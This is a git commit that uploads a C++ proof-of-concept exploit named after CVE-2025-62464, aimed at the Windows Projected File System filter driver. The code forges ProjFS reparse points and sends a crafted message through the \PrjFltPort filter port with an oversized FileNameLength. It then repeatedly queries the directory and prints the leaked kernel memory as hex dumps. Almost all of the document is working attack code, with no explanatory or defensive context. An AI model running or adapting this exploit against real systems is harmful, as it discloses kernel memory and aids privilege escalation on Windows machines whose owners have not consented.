Upload files to "CVE-2025-62464"

This commit is contained in:
2026-07-18 18:54:03 +00:00
parent 9c3e7b363f
commit 455c63743c
2 changed files with 586 additions and 0 deletions
Binary file not shown.
+586
View File
@@ -0,0 +1,586 @@
#include <iostream>
#include <Windows.h>
#include <fltuser.h>
#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")
#pragma comment(lib, "FltLib.lib")
#include "ntdll.h"
#pragma comment(lib, "ntdll")
PWSTR gProcessPath = NULL;
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;
DWORD CompleteCommandHandler(int CommandId);
struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
GUID virtualizationInstanceID;
unsigned int Version;
USHORT VolumeLength;
WCHAR szVolume[256];
};
void PrintInstanceId() {
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return;
}
OLECHAR* guidString;
StringFromCLSID(InstanceInfo.InstanceID, &guidString);
wprintf(L"InstanceId: %s\n", guidString);
LPCOLESTR lpsz = guidString;
GUID InstanceId;
hr = CLSIDFromString(lpsz, &InstanceId);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return;
}
CoTaskMemFree(guidString);
}
void CreateVirtualizationRoot() {
HRESULT hr;
const wchar_t* rootName = LR"(C:\virtRoot)";
RemoveDirectoryW(rootName);
if (!CreateDirectoryW(rootName, nullptr))
{
DWORD gle = GetLastError();
if (gle != ERROR_ALREADY_EXISTS) {
hr = HRESULT_FROM_WIN32(gle);
wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
}
return;
}
GUID instanceId;
hr = CoCreateGuid(&instanceId);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return;
}
hr = PrjMarkDirectoryAsPlaceholder(rootName,
nullptr,
nullptr,
&instanceId);
if (FAILED(hr))
{
wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
return;
}
}
HRESULT MyStartEnumCallback(
const PRJ_CALLBACK_DATA* callbackData,
const GUID* enumerationId
)
{
//printf("MyStartEnumCallback\n");
return S_OK;
}
HRESULT MyEndEnumCallback(
const PRJ_CALLBACK_DATA* callbackData,
const GUID* enumerationId
)
{
//printf("MyEndEnumCallback\n");
return S_OK;
}
HRESULT MyGetEnumCallback(
const PRJ_CALLBACK_DATA* callbackData,
const GUID* enumerationId,
PCWSTR searchExpression,
PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
CompleteCommandHandler(callbackData->CommandId);
return S_OK;
}
HRESULT MyGetPlaceholderInfoCallback(
const PRJ_CALLBACK_DATA* callbackData
)
{
return S_OK;
}
HRESULT MyGetFileDataCallback(
const PRJ_CALLBACK_DATA* callbackData,
UINT64 byteOffset,
UINT32 length
)
{
return S_OK;
}
void StartVirtualizatioInstance() {
PRJ_CALLBACKS callbackTable;
// Supply required callbacks.
callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback;
callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback;
callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback;
callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback;
callbackTable.GetFileDataCallback = MyGetFileDataCallback;
// The rest of the callbacks are optional.
callbackTable.QueryFileNameCallback = nullptr;
callbackTable.NotificationCallback = nullptr;
callbackTable.CancelCommandCallback = nullptr;
HRESULT hr;
const wchar_t* rootName = LR"(C:\virtRoot)";
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
hr = PrjStartVirtualizing(rootName,
&callbackTable,
nullptr,
nullptr,
&instanceHandle);
if (FAILED(hr))
{
wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
return;
}
gInstanceHandle = instanceHandle;
}
struct _PRJ_MSG_OUT_HEADER
{
int MessageType;
int Size;
int Status;
char Data[256];
};
struct _PRJ_REPARSE_DATA
{
int Version;
int dwFlags;
GUID virtualizationInstanceID;
PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
unsigned __int16 PlaceHolderRelPathLength;
WCHAR szPlaceHolderRelPathBuffer[1];
};
struct _PRJ_REPARSE_DATA_BUFFER
{
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
_PRJ_REPARSE_DATA ReparseData;
};
HRESULT CreateFileWithReparsePoint(
PHANDLE pFileHandle,
LPCWSTR lpcwFileName,
_PRJ_REPARSE_DATA* ReparseData,
USHORT ReparseDataLength,
int Tag,
bool bDir) {
size_t ReparseDataLength64; // rbp
const WCHAR* ErrorMessage; // rdi
USHORT BufferLength; // bx
ULONG hr; // ebx MAPDST
_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
int LastError; // eax
ULONG Size; // eax
size_t Length; // rax
*pFileHandle = NULL;
ReparseDataLength64 = ReparseDataLength;
ErrorMessage = 0i64;
BufferLength = ReparseDataLength + 8;
if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
{
hr = 0x80070057; // E_INVALIDARG
goto LABEL_12;
}
ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
if (!ReparseDataBuffer)
{
hr = 0x8007000E; // E_OUTOFMEMORY
LABEL_12:
Size = 2;
return hr;
}
ReparseDataBuffer->ReparseTag = Tag;
ReparseDataBuffer->ReparseDataLength = ReparseDataLength64;
memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64);
//HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
UNICODE_STRING usFileName = { 0 };
RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
ObjectAttributes.Length = 0x30;
ObjectAttributes.ObjectName = &usFileName;
ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;
if (bDir) {
CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
}
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE FileHandle = NULL;
int Status = NtCreateFile(
&FileHandle,
FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
&ObjectAttributes,
&IoStatusBlock,
0i64,
FileAttributes,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN_IF,
CreateOptions,
NULL,
0);
if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
{
hr = 0;
}
else
{
LastError = GetLastError();
hr = LastError;
if (LastError > 0)
hr = (unsigned __int16)LastError | 0x80070000;
ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
}
free(ReparseDataBuffer);
if (hr)
goto LABEL_12;
*pFileHandle = FileHandle;
return hr;
}
_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
USHORT RelPathLength = MAX_PATH;
USHORT Length = RelPathLength + 0x11A;
_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);
ReparseData->Version = 2;
ReparseData->PlaceHolderRelPathLength = RelPathLength;
if (RelPathLength) {
memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
}
*pLength = Length;
return ReparseData;
}
void PrintOutput(char* buf, int Size) {
//printf("\n");
for (int i = 0; i < Size; i++)
{
if (i != 0 && i % 8 == 0 && i % 16 != 0) {
printf("-");
}
else if (i > 0)
{
printf(" ");
}
if (i % 16 == 0 && i != 0) {
printf("\n");
}
printf("%02x", (unsigned)(unsigned char)buf[i]);
}
printf("\n");
}
struct _POOL_HEADER
{
union
{
struct
{
USHORT PreviousSize : 8; //0x0
USHORT PoolIndex : 8; //0x0
USHORT BlockSize : 8; //0x2
USHORT PoolType : 8; //0x2
};
ULONG Ulong1; //0x0
};
ULONG PoolTag; //0x4
union
{
struct _EPROCESS* ProcessBilled; //0x8
struct
{
USHORT AllocatorBackTraceIndex; //0x8
USHORT PoolTagHash; //0xa
};
};
};
void PrintPoolHeader(_POOL_HEADER* Header) {
if (Header->PoolTag != 0) {
char szTag[0x10] = { 0 };
ULONG size = Header->BlockSize * 0x10;
memcpy(szTag, &Header->PoolTag, 4);
printf("PoolTag: %s, size: 0x%x\n", szTag, size);
}
}
typedef struct _FILE_ID_EXTD_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
ULONG ReparsePointTag;
FILE_ID_128 FileId;
WCHAR FileName[0x10/2];
} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION;
typedef struct _FILE_DIRECTORY_INFORMATION
{
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
}FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION;
void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) {
DWORD OutputBufferLength = 0x11100;
PVOID OutputBuffer = malloc(OutputBufferLength);
memset(OutputBuffer, 0, OutputBufferLength);
UNICODE_STRING FileName = { 0 };
PCWSTR lpcwName = L"3*";
RtlInitUnicodeString(&FileName, (PWSTR)lpcwName);
while (1) {
memset(OutputBuffer, 'B', OutputBufferLength);
IO_STATUS_BLOCK IoStatusBlock = { 0 };
NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false);
//printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
if (IoStatusBlock.Information == OutputBufferLength)
{
ULONG EntrySize = sizeof(FILE_ID_EXTD_DIR_INFORMATION);
ULONG FileNameOffset = ULONG(&(((PFILE_ID_EXTD_DIR_INFORMATION)0)->FileName));
ULONG BufferOffset = EntrySize + FileNameOffset;
ULONG MaxEntryBuffer = 0x11000;
PFILE_DIRECTORY_INFORMATION pDirInfo = (PFILE_DIRECTORY_INFORMATION)((char*)OutputBuffer + MaxEntryBuffer - BufferOffset);
char* pLeakedData = (char*)(pDirInfo->FileName);
//PrintPoolHeader((_POOL_HEADER*)(pLeakedData));
PrintOutput(pLeakedData, 0x100);
printf("\nPress enter key to continue . . .\n");
getchar();
}
}
}
struct _PRJ_MSG_IN_HEADER
{
int MessageType;
int InputBufferSize;
};
struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA
{
ULONG DataSize;
int _4;
GUID virtualizationInstanceID;
int Tag;
char _1c[60];
ULONG CommandId;
int RetStatus;
ULONG ResultLength;
char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2 + 0x11100];
};
struct _PRJ_MSG_COMLETE_COMMAND_HANDLER
{
_PRJ_MSG_IN_HEADER Header;
_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data;
};
DWORD WINAPI CompleteCommandHandler(int CommandId) {
static HANDLE hPort = NULL;
static GUID InstanceId;
if (hPort == NULL) {
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
InstanceId = InstanceInfo.InstanceID;
//PrjStopVirtualizing(gInstanceHandle);
_PRJ_CONNECTION_CONTEXT Context;
Context.VolumeLength = 0x100;
Context.Version = 1;
Context.virtualizationInstanceID = InstanceId;
wcscpy_s(Context.szVolume, L"c:\\");
ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);
HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);
printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);
}
static DWORD InputBufferLength = 0x20000;
static PVOID InputBuffer = malloc(InputBufferLength);
static DWORD OutputBufferLength = 0x20000;
static PVOID OutputBuffer = malloc(OutputBufferLength);
memset(InputBuffer, 0, InputBufferLength);
memset(OutputBuffer, 0, OutputBufferLength);
DWORD BytesReturned = 0;
_PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 };
memset(&Message, 'A', sizeof(Message));
Message.Header.MessageType = 5;
Message.Header.InputBufferSize = sizeof(Message);
Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA);
Message.Data.Tag = 0x9000001C;
Message.Data.virtualizationInstanceID = InstanceId;
Message.Data.CommandId = CommandId;
Message.Data.RetStatus = 0;
Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2;
PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer;
FileInfo1->NextEntryOffset = 0;
FileInfo1->FileNameLength = 0x10;
FileInfo1->FileName[0] = L'.';
PFILE_ID_EXTD_DIR_INFORMATION FileInfo2 = (PFILE_ID_EXTD_DIR_INFORMATION)(Message.Data.ResultBuffer + sizeof(FILE_ID_EXTD_DIR_INFORMATION)) ;
FileInfo2->NextEntryOffset = 0;
FileInfo2->FileNameLength = 0x15000;
FileInfo2->FileName[0] = L'.';
memcpy(InputBuffer, &Message, sizeof(Message));
InputBufferLength = Message.Header.InputBufferSize;
HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
//printf("FilterSendMessage hResult:%x\n", hr);
return 0;
}
void PrjCompleteCommandHandler()
{
CreateVirtualizationRoot();
StartVirtualizatioInstance();
PrintInstanceId();
//CloseFltPortHandle();
USHORT Length = 0;
HANDLE DirFileHandle = NULL;
HANDLE FileHandle = NULL;
_PRJ_REPARSE_DATA* ReparseData = NULL;
ReparseData = CreateReparseData(L"dd", 0x10, &Length);
HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true);
CloseHandle(DirFileHandle);
ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length);
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false);
CloseHandle(FileHandle);
ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length);
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true);
CloseHandle(FileHandle);
FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation;
FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64);
//PatchLib();
NpQueryDirectory(FileHandle, FileInfoClass);
CloseHandle(FileHandle);
getchar();
}
int wmain(int argc, WCHAR* argv[])
{
PrjCompleteCommandHandler();
//CompleteCommandHandler(0);
return 0;
}